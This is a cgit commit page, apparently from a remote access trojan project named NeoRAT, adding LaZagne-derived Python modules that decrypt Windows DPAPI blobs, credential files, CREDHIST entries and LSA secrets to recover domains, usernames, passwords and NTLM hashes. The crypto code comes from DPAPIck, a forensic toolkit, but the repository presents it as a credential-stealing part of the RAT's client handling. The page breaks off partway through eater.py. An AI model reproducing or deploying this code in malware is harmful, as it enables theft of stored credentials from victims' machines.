summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/config/DPAPI
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
commit20dbeb2f38684c65ff0a4b99012c161295708e88 (patch)
treea5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/config/DPAPI
NeoRATHEADmain
Diffstat (limited to 'foreign/client_handling/lazagne/config/DPAPI')
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/__init__.py1
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/blob.py139
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/credfile.py108
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/credhist.py142
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/crypto.py366
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/eater.py128
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/masterkey.py445
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/system.py38
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/vault.py489
9 files changed, 1856 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/config/DPAPI/__init__.py b/foreign/client_handling/lazagne/config/DPAPI/__init__.py
new file mode 100644
index 0000000..8d1c8b6
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/__init__.py
@@ -0,0 +1 @@
+
diff --git a/foreign/client_handling/lazagne/config/DPAPI/blob.py b/foreign/client_handling/lazagne/config/DPAPI/blob.py
new file mode 100644
index 0000000..6b76bc4
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/blob.py
@@ -0,0 +1,139 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+import codecs
+import traceback
+
+from .eater import DataStruct
+from . import crypto
+
+from foreign.client_handling.lazagne.config.write_output import print_debug
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.crypto.pyDes import CBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int
+
+AES_BLOCK_SIZE = 16
+
+
+class DPAPIBlob(DataStruct):
+ """Represents a DPAPI blob"""
+
+ def __init__(self, raw=None):
+ """
+ Constructs a DPAPIBlob. If raw is set, automatically calls parse().
+ """
+ self.version = None
+ self.provider = None
+ self.mkguid = None
+ self.mkversion = None
+ self.flags = None
+ self.description = None
+ self.cipherAlgo = None
+ self.keyLen = 0
+ self.hmac = None
+ self.strong = None
+ self.hashAlgo = None
+ self.hashLen = 0
+ self.cipherText = None
+ self.salt = None
+ self.blob = None
+ self.sign = None
+ self.cleartext = None
+ self.decrypted = False
+ self.signComputed = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ """Parses the given data. May raise exceptions if incorrect data are
+ given. You should not call this function yourself; DataStruct does
+
+ data is a DataStruct object.
+ Returns nothing.
+
+ """
+ self.version = data.eat("L")
+ self.provider = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B")
+
+ # For HMAC computation
+ blobStart = data.ofs
+
+ self.mkversion = data.eat("L")
+ self.mkguid = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B")
+ self.flags = data.eat("L")
+ self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8")
+ self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.keyLen = data.eat("L")
+ self.salt = data.eat_length_and_string("L")
+ self.strong = data.eat_length_and_string("L")
+ self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.hashLen = data.eat("L")
+ self.hmac = data.eat_length_and_string("L")
+ self.cipherText = data.eat_length_and_string("L")
+
+ # For HMAC computation
+ self.blob = data.raw[blobStart:data.ofs]
+ self.sign = data.eat_length_and_string("L")
+
+ def decrypt(self, masterkey, entropy=None, strongPassword=None):
+ """Try to decrypt the blob. Returns True/False
+ :rtype : bool
+ :param masterkey: decrypted masterkey value
+ :param entropy: optional entropy for decrypting the blob
+ :param strongPassword: optional password for decrypting the blob
+ """
+ for algo in [crypto.CryptSessionKeyXP, crypto.CryptSessionKeyWin7]:
+ try:
+ sessionkey = algo(masterkey, self.salt, self.hashAlgo, entropy=entropy, strongPassword=strongPassword)
+ key = crypto.CryptDeriveKey(sessionkey, self.cipherAlgo, self.hashAlgo)
+
+ if "AES" in self.cipherAlgo.name:
+ cipher = AESModeOfOperationCBC(key[:int(self.cipherAlgo.keyLength)],
+ iv="\x00" * int(self.cipherAlgo.ivLength))
+ self.cleartext = b"".join([cipher.decrypt(self.cipherText[i:i + AES_BLOCK_SIZE]) for i in
+ range(0, len(self.cipherText), AES_BLOCK_SIZE)])
+ else:
+ cipher = self.cipherAlgo.module(key, CBC, "\x00" * self.cipherAlgo.ivLength)
+ self.cleartext = cipher.decrypt(self.cipherText)
+
+ padding = char_to_int(self.cleartext[-1])
+ if padding <= self.cipherAlgo.blockSize:
+ self.cleartext = self.cleartext[:-padding]
+
+ # check against provided HMAC
+ self.signComputed = algo(masterkey, self.hmac, self.hashAlgo, entropy=entropy, verifBlob=self.blob)
+ self.decrypted = self.signComputed == self.sign
+
+ if self.decrypted:
+ return True
+ except Exception:
+ print_debug('DEBUG', traceback.format_exc())
+
+ self.decrypted = False
+ return self.decrypted
+
+ def decrypt_encrypted_blob(self, mkp, entropy_hex=False):
+ """
+ This function should be called to decrypt a dpapi blob.
+ It will find the associcated masterkey used to decrypt the blob.
+ :param mkp: masterkey pool object (MasterKeyPool)
+ """
+ mks = mkp.get_master_keys(self.mkguid)
+ if not mks:
+ return False, 'Unable to find MK for blob {mk_guid}'.format(mk_guid=self.mkguid)
+
+ entropy = None
+ if entropy_hex:
+ entropy = codecs.decode(entropy_hex, 'hex')
+
+ for mk in mks:
+ if mk.decrypted:
+ self.decrypt(mk.get_key(), entropy=entropy)
+ if self.decrypted:
+ return True, self.cleartext
+
+ return False, 'Unable to decrypt master key'
diff --git a/foreign/client_handling/lazagne/config/DPAPI/credfile.py b/foreign/client_handling/lazagne/config/DPAPI/credfile.py
new file mode 100644
index 0000000..98bda22
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/credfile.py
@@ -0,0 +1,108 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+
+from .blob import DPAPIBlob
+from .eater import DataStruct
+
+
+class CredentialDecryptedHeader(DataStruct):
+ """
+ Header of the structure returned once the blob has been decrypted
+ Header of the CredentialDecrypted class
+ """
+ def __init__(self, raw=None):
+ self.total_size = None
+ self.unknown1 = None
+ self.unknown2 = None
+ self.unknown3 = None
+ self.last_update = None
+ self.unknown4 = None
+ self.unk_type = None
+ self.unk_blocks = None
+ self.unknown5 = None
+ self.unknown6 = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.total_size = data.eat("L")
+ self.unknown1 = data.eat("L")
+ self.unknown2 = data.eat("L")
+ self.unknown3 = data.eat("L")
+ self.last_update = data.eat("Q")
+ self.unknown4 = data.eat("L")
+ self.unk_type = data.eat("L")
+ self.unk_blocks = data.eat("L")
+ self.unknown5 = data.eat("L")
+ self.unknown6 = data.eat("L")
+
+
+class CredentialDecrypted(DataStruct):
+ """
+ Structure returned once the blob has been decrypted
+ """
+ def __init__(self, raw=None):
+ self.header_size = None
+ self.header = None
+ self.domain = None
+ self.unk_string1 = None
+ self.unk_string2 = None
+ self.unk_string3 = None
+ self.username = None
+ self.password = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.header_size = data.eat("L")
+ if self.header_size > 0:
+ self.header = CredentialDecryptedHeader()
+ self.header.parse(data.eat_sub(self.header_size - 4))
+ self.domain = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.unk_string1 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.unk_string2 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.unk_string3 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.username = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.password = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+
+
+class CredFile(DataStruct):
+ """
+ Decrypt Credentials Files stored on ...\\Microsoft\\Credentials\\...
+ """
+ def __init__(self, raw=None):
+ self.unknown1 = None
+ self.blob_size = None
+ self.unknown2 = None
+ self.blob = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.unknown1 = data.eat("L")
+ self.blob_size = data.eat("L")
+ self.unknown2 = data.eat("L")
+ if self.blob_size > 0:
+ self.blob = DPAPIBlob()
+ self.blob.parse(data.eat_sub(self.blob_size))
+
+ def decrypt(self, mkp, credfile):
+ ok, msg = self.blob.decrypt_encrypted_blob(mkp=mkp)
+ if ok:
+ cred_dec = CredentialDecrypted(msg)
+ if cred_dec.header.unk_type == 3:
+ return True, {
+ 'File': credfile,
+ 'Domain': cred_dec.domain,
+ 'Username': cred_dec.username,
+ 'Password': cred_dec.password,
+ }
+ elif cred_dec.header.unk_type == 2:
+ return False, 'System credential type'
+ else:
+ return False, 'Unknown CREDENTIAL type, please report.\nCreds: {creds}'.format(creds=cred_dec)
+ else:
+ return ok, msg
diff --git a/foreign/client_handling/lazagne/config/DPAPI/credhist.py b/foreign/client_handling/lazagne/config/DPAPI/credhist.py
new file mode 100644
index 0000000..2a1d8d7
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/credhist.py
@@ -0,0 +1,142 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+
+import struct
+import hashlib
+
+from . import crypto
+from .eater import DataStruct
+
+
+class RPC_SID(DataStruct):
+ """
+ Represents a RPC_SID structure. See MSDN for documentation
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.idAuth = None
+ self.subAuth = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("B")
+ n = data.eat("B")
+ self.idAuth = struct.unpack(">Q", "\0\0" + data.eat("6s"))[0]
+ self.subAuth = data.eat("%dL" % n)
+
+ def __str__(self):
+ s = ["S-%d-%d" % (self.version, self.idAuth)]
+ s += ["%d" % x for x in self.subAuth]
+ return "-".join(s)
+
+
+class CredhistEntry(DataStruct):
+
+ def __init__(self, raw=None):
+ self.pwdhash = None
+ self.hmac = None
+ self.revision = None
+ self.hashAlgo = None
+ self.rounds = None
+ self.cipherAlgo = None
+ self.shaHashLen = None
+ self.ntHashLen = None
+ self.iv = None
+ self.userSID = None
+ self.encrypted = None
+ self.revision2 = None
+ self.guid = None
+ self.ntlm = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.revision = data.eat("L")
+ self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.rounds = data.eat("L")
+ data.eat("L")
+ self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.shaHashLen = data.eat("L")
+ self.ntHashLen = data.eat("L")
+ self.iv = data.eat("16s")
+
+ self.userSID = RPC_SID()
+ self.userSID.parse(data)
+
+ n = self.shaHashLen + self.ntHashLen
+ n += -n % self.cipherAlgo.blockSize
+ self.encrypted = data.eat_string(n)
+
+ self.revision2 = data.eat("L")
+ self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
+
+ def decrypt_with_hash(self, pwdhash):
+ """
+ Decrypts this credhist entry with the given user's password hash.
+ Simply computes the encryption key with the given hash
+ then calls self.decrypt_with_key() to finish the decryption.
+ """
+ self.decrypt_with_key(crypto.derivePwdHash(pwdhash, str(self.userSID)))
+
+ def decrypt_with_key(self, enckey):
+ """
+ Decrypts this credhist entry using the given encryption key.
+ """
+ cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.encrypted, enckey,
+ self.iv, self.rounds)
+ self.pwdhash = cleartxt[:self.shaHashLen]
+ self.ntlm = cleartxt[self.shaHashLen:self.shaHashLen + self.ntHashLen].rstrip("\x00")
+ if len(self.ntlm) != 16:
+ self.ntlm = None
+
+
+class CredHistFile(DataStruct):
+
+ def __init__(self, raw=None):
+ self.entries_list = []
+ self.entries = {}
+ self.valid = False
+ self.footmagic = None
+ self.curr_guid = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ while True:
+ l = data.pop("L")
+ if l == 0:
+ break
+ self.addEntry(data.pop_string(l - 4))
+
+ self.footmagic = data.eat("L")
+ self.curr_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
+
+ def addEntry(self, blob):
+ """
+ Creates a CredhistEntry object with blob then adds it to the store
+ """
+ x = CredhistEntry(blob)
+ self.entries[x.guid] = x
+ self.entries_list.append(x)
+
+ def decrypt_with_hash(self, pwdhash):
+ """
+ Try to decrypt each entry with the given hash
+ """
+
+ if self.valid:
+ return
+
+ for entry in self.entries_list:
+ entry.decrypt_with_hash(pwdhash)
+
+ def decrypt_with_password(self, password):
+ """
+ Decrypts this credhist entry with the given user's password.
+ Simply computes the password hash then calls self.decrypt_with_hash()
+ """
+ self.decrypt_with_hash(hashlib.sha1(password.encode("UTF-16LE")).digest())
diff --git a/foreign/client_handling/lazagne/config/DPAPI/crypto.py b/foreign/client_handling/lazagne/config/DPAPI/crypto.py
new file mode 100644
index 0000000..121a921
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/crypto.py
@@ -0,0 +1,366 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+#############################################################################
+# ##
+# This file is part of DPAPIck ##
+# Windows DPAPI decryption & forensic toolkit ##
+# ##
+# ##
+# Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ##
+# This document is the property of Cassidian SAS, it may not be copied or ##
+# circulated without prior licence ##
+# ##
+# Author: Jean-Michel Picod <jmichel.p@gmail.com> ##
+# ##
+# This program is distributed under GPLv3 licence (see LICENCE.txt) ##
+# ##
+#############################################################################
+
+import array
+import hashlib
+import hmac
+import struct
+import sys
+
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC, AESModeOfOperationECB
+from foreign.client_handling.lazagne.config.crypto.pyDes import triple_des, des, ECB, CBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte
+
+
+try:
+ xrange
+except NameError:
+ xrange = range
+
+AES_BLOCK_SIZE = 16
+
+
+class CryptoAlgo(object):
+ """
+ This class is used to wrap Microsoft algorithm IDs with M2Crypto
+ """
+
+ class Algo(object):
+ def __init__(self, data):
+ self.data = data
+
+ def __getattr__(self, attr):
+ if attr in self.data:
+ return self.data[attr]
+ raise AttributeError(attr)
+
+ _crypto_data = {}
+
+ @classmethod
+ def add_algo(cls, algnum, **kargs):
+ cls._crypto_data[algnum] = cls.Algo(kargs)
+ if 'name' in kargs:
+ kargs['ID'] = algnum
+ cls._crypto_data[kargs['name']] = cls.Algo(kargs)
+
+ @classmethod
+ def get_algo(cls, algnum):
+ return cls._crypto_data[algnum]
+
+ def __init__(self, i):
+ self.algnum = i
+ self.algo = CryptoAlgo.get_algo(i)
+
+ name = property(lambda self: self.algo.name)
+ module = property(lambda self: self.algo.module)
+ keyLength = property(lambda self: self.algo.keyLength / 8)
+ ivLength = property(lambda self: self.algo.IVLength / 8)
+ blockSize = property(lambda self: self.algo.blockLength / 8)
+ digestLength = property(lambda self: self.algo.digestLength / 8)
+
+ def do_fixup_key(self, key):
+ try:
+ return self.algo.keyFixup.__call__(key)
+ except AttributeError:
+ return key
+
+ def __repr__(self):
+ return "%s [%#x]" % (self.algo.name, self.algnum)
+
+
+def des_set_odd_parity(key):
+ _lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19,
+ 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37,
+ 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55,
+ 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73,
+ 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91,
+ 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107,
+ 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121,
+ 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134,
+ 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148,
+ 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162,
+ 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176,
+ 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191,
+ 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205,
+ 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218,
+ 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233,
+ 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247,
+ 247, 248, 248, 251, 251, 253, 253, 254, 254]
+ tmp = array.array("B")
+ tmp.fromstring(key)
+ for i, v in enumerate(tmp):
+ tmp[i] = _lut[v]
+ return tmp.tostring()
+
+
+CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, blockLength=64, IVLength=64, module=des,
+ keyFixup=des_set_odd_parity)
+CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, blockLength=64, IVLength=64, module=triple_des,
+ keyFixup=des_set_odd_parity)
+CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, blockLength=128, IVLength=128)
+CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, blockLength=128, IVLength=128)
+CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, blockLength=128, IVLength=128)
+CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, blockLength=128, IVLength=128)
+CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512)
+CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512)
+CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512)
+CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512)
+CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024)
+CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024)
+
+
+def CryptSessionKeyXP(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None):
+ """
+ Computes the decryption key for XP DPAPI blob, given the masterkey and optional information.
+
+ This implementation relies on a faulty implementation from Microsoft that does not respect the HMAC RFC.
+ Instead of updating the inner pad, we update the outer pad...
+ This algorithm is also used when checking the HMAC for integrity after decryption
+
+ :param masterkey: decrypted masterkey (should be 64 bytes long)
+ :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check)
+ :param entropy: this is the optional entropy from CryptProtectData() API
+ :param strongPassword: optional password used for decryption or the blob itself
+ :param verifBlob: optional encrypted blob used for integrity check
+ :returns: decryption key
+ :rtype : str
+ """
+ if len(masterkey) > 20:
+ masterkey = hashlib.sha1(masterkey).digest()
+
+ masterkey += b"\x00" * int(hashAlgo.blockSize)
+ ipad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize)))
+ opad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize)))
+ digest = hashlib.new(hashAlgo.name)
+ digest.update(ipad)
+ digest.update(nonce)
+ tmp = digest.digest()
+ digest = hashlib.new(hashAlgo.name)
+ digest.update(opad)
+ digest.update(tmp)
+ if entropy is not None:
+ digest.update(entropy)
+ if strongPassword is not None:
+ strongPassword = hashlib.sha1(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest()
+ digest.update(strongPassword)
+ elif verifBlob is not None:
+ digest.update(verifBlob)
+ return digest.digest()
+
+
+def CryptSessionKeyWin7(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None):
+ """
+ Computes the decryption key for Win7+ DPAPI blob, given the masterkey and optional information.
+
+ This implementation relies on an RFC compliant HMAC implementation
+ This algorithm is also used when checking the HMAC for integrity after decryption
+
+ :param masterkey: decrypted masterkey (should be 64 bytes long)
+ :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check)
+ :param entropy: this is the optional entropy from CryptProtectData() API
+ :param strongPassword: optional password used for decryption or the blob itself
+ :param verifBlob: optional encrypted blob used for integrity check
+ :returns: decryption key
+ :rtype : str
+ """
+ if len(masterkey) > 20:
+ masterkey = hashlib.sha1(masterkey).digest()
+
+ digest = hmac.new(masterkey, digestmod=lambda: hashlib.new(hashAlgo.name))
+ digest.update(nonce)
+ if entropy is not None:
+ digest.update(entropy)
+ if strongPassword is not None:
+ strongPassword = hashlib.sha512(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest()
+ digest.update(strongPassword)
+ elif verifBlob is not None:
+ digest.update(verifBlob)
+ return digest.digest()
+
+
+def CryptDeriveKey(h, cipherAlgo, hashAlgo):
+ """
+ Internal use. Mimics the corresponding native Microsoft function
+ """
+ if len(h) > hashAlgo.blockSize:
+ h = hashlib.new(hashAlgo.name, h).digest()
+ if len(h) >= cipherAlgo.keyLength:
+ return h
+ h += b"\x00" * int(hashAlgo.blockSize)
+ ipad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize)))
+ opad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize)))
+ k = hashlib.new(hashAlgo.name, ipad).digest() + hashlib.new(hashAlgo.name, opad).digest()
+ k = k[:cipherAlgo.keyLength]
+ k = cipherAlgo.do_fixup_key(k)
+ return k
+
+
+def decrypt_lsa_key_nt5(lsakey, syskey):
+ """
+ This function decrypts the LSA key using the syskey
+ """
+ dg = hashlib.md5()
+ dg.update(syskey)
+ for i in xrange(1000):
+ dg.update(lsakey[60:76])
+ arcfour = RC4(dg.digest())
+ deskey = arcfour.encrypt(lsakey[12:60])
+ return [deskey[16 * x:16 * (x + 1)] for x in xrange(3)]
+
+
+def decrypt_lsa_key_nt6(lsakey, syskey):
+ """
+ This function decrypts the LSA keys using the syskey
+ """
+ dg = hashlib.sha256()
+ dg.update(syskey)
+ for i in range(1000):
+ dg.update(lsakey[28:60])
+
+ k = AESModeOfOperationECB(dg.digest())
+ keys = b"".join([k.encrypt(lsakey[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(lsakey[60:]), AES_BLOCK_SIZE)])
+
+ size = struct.unpack_from("<L", keys)[0]
+ keys = keys[16:16 + size]
+ currentkey = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", keys[4:20])
+ nb = struct.unpack("<L", keys[24:28])[0]
+ off = 28
+ kd = {}
+ for i in range(nb):
+ g = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", keys[off:off + 16])
+ t, l = struct.unpack_from("<2L", keys[off + 16:])
+ k = keys[off + 24:off + 24 + l]
+ kd[g] = {"type": t, "key": k}
+ off += 24 + l
+ return (currentkey, kd)
+
+
+def SystemFunction005(secret, key):
+ """
+ This function is used to decrypt LSA secrets.
+ Reproduces the corresponding Windows internal function.
+ Taken from creddump project https://code.google.com/p/creddump/
+ """
+ decrypted_data = ''
+ j = 0
+ algo = CryptoAlgo(0x6603)
+ for i in range(0, len(secret), 8):
+ enc_block = secret[i:i + 8]
+ block_key = key[j:j + 7]
+ des_key = []
+ des_key.append(char_to_int(block_key[0]) >> 1)
+ des_key.append(((char_to_int(block_key[0]) & 0x01) << 6) | (char_to_int(block_key[1]) >> 2))
+ des_key.append(((char_to_int(block_key[1]) & 0x03) << 5) | (char_to_int(block_key[2]) >> 3))
+ des_key.append(((char_to_int(block_key[2]) & 0x07) << 4) | (char_to_int(block_key[3]) >> 4))
+ des_key.append(((char_to_int(block_key[3]) & 0x0F) << 3) | (char_to_int(block_key[4]) >> 5))
+ des_key.append(((char_to_int(block_key[4]) & 0x1F) << 2) | (char_to_int(block_key[5]) >> 6))
+ des_key.append(((char_to_int(block_key[5]) & 0x3F) << 1) | (char_to_int(block_key[6]) >> 7))
+ des_key.append(char_to_int(block_key[6]) & 0x7F)
+ des_key = algo.do_fixup_key("".join([chr(x << 1) for x in des_key]))
+
+ decrypted_data += des(des_key, ECB).decrypt(enc_block)
+ j += 7
+ if len(key[j:j + 7]) < 7:
+ j = len(key[j:j + 7])
+ dec_data_len = struct.unpack("<L", decrypted_data[:4])[0]
+ return decrypted_data[8:8 + dec_data_len]
+
+
+def decrypt_lsa_secret(secret, lsa_keys):
+ """
+ This function replaces SystemFunction005 for newer Windows
+ """
+ keyid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", secret[4:20])
+ if keyid not in lsa_keys:
+ return None
+ algo = struct.unpack("<L", secret[20:24])[0]
+ dg = hashlib.sha256()
+ dg.update(lsa_keys[keyid]["key"])
+ for i in xrange(1000):
+ dg.update(secret[28:60])
+
+ c = AESModeOfOperationECB(dg.digest())
+ clear = b"".join([c.encrypt(secret[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(secret[60:]), AES_BLOCK_SIZE)])
+
+ size = struct.unpack_from("<L", clear)[0]
+ return clear[16:16 + size]
+
+
+def pbkdf2(passphrase, salt, keylen, iterations, digest='sha1'):
+ """
+ Implementation of PBKDF2 that allows specifying digest algorithm.
+ Returns the corresponding expanded key which is keylen long.
+ """
+ buff = b""
+ i = 1
+ while len(buff) < keylen:
+ U = salt + struct.pack("!L", i)
+ i += 1
+ derived = hmac.new(passphrase, U, digestmod=lambda: hashlib.new(digest)).digest()
+ for r in xrange(iterations - 1):
+ actual = hmac.new(passphrase, derived, digestmod=lambda: hashlib.new(digest)).digest()
+ tmp = b''
+ for x, y in zip(derived, actual):
+ if sys.version_info > (3, 0):
+ tmp += struct.pack(">B", x ^ y)
+ else:
+ tmp += chr(char_to_int(x) ^ char_to_int(y))
+ derived = tmp
+ buff += derived
+ return buff[:int(keylen)]
+
+
+def derivePwdHash(pwdhash, sid, digest='sha1'):
+ """
+ Internal use. Computes the encryption key from a user's password hash
+ """
+ return hmac.new(pwdhash, (sid + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest()
+
+
+def dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds):
+ """
+ Internal use. Decrypts data stored in DPAPI structures.
+ """
+ hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name)
+ derived = pbkdf2(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname)
+ key, iv = derived[:int(cipherAlgo.keyLength)], derived[int(cipherAlgo.keyLength):]
+ key = key[:int(cipherAlgo.keyLength)]
+ iv = iv[:int(cipherAlgo.ivLength)]
+
+ if "AES" in cipherAlgo.name:
+ cipher = AESModeOfOperationCBC(key, iv=iv)
+ cleartxt = b"".join([cipher.decrypt(raw[i:i + AES_BLOCK_SIZE]) for i in range(0, len(raw), AES_BLOCK_SIZE)])
+ else:
+ cipher = cipherAlgo.module(key, CBC, iv)
+ cleartxt = cipher.decrypt(raw)
+ return cleartxt
+
+
+def DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value):
+ """
+ Internal function used to compute HMACs of DPAPI structures
+ """
+ hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name)
+ encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname))
+ encKey.update(hmacSalt)
+ encKey = encKey.digest()
+ rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname))
+ rv.update(value)
+ return rv.digest()
diff --git a/foreign/client_handling/lazagne/config/DPAPI/eater.py b/foreign/client_handling/lazagne/config/DPAPI/eater.py
new file mode 100644
index 0000000..cadb13f
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/eater.py
@@ -0,0 +1,128 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+#############################################################################
+## ##
+## This file is part of DPAPIck ##
+## Windows DPAPI decryption & forensic toolkit ##
+## ##
+## ##
+## Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ##
+## This document is the property of Cassidian SAS, it may not be copied or ##
+## circulated without prior licence ##
+## ##
+## Author: Jean-Michel Picod <jmichel.p@gmail.com> ##
+## ##
+## This program is distributed under GPLv3 licence (see LICENCE.txt) ##
+## ##
+#############################################################################
+
+import struct
+
+
+class Eater(object):
+ """This class is a helper for parsing binary structures."""
+
+ def __init__(self, raw, offset=0, end=None, endianness="<"):
+ self.raw = raw
+ self.ofs = offset
+ if end is None:
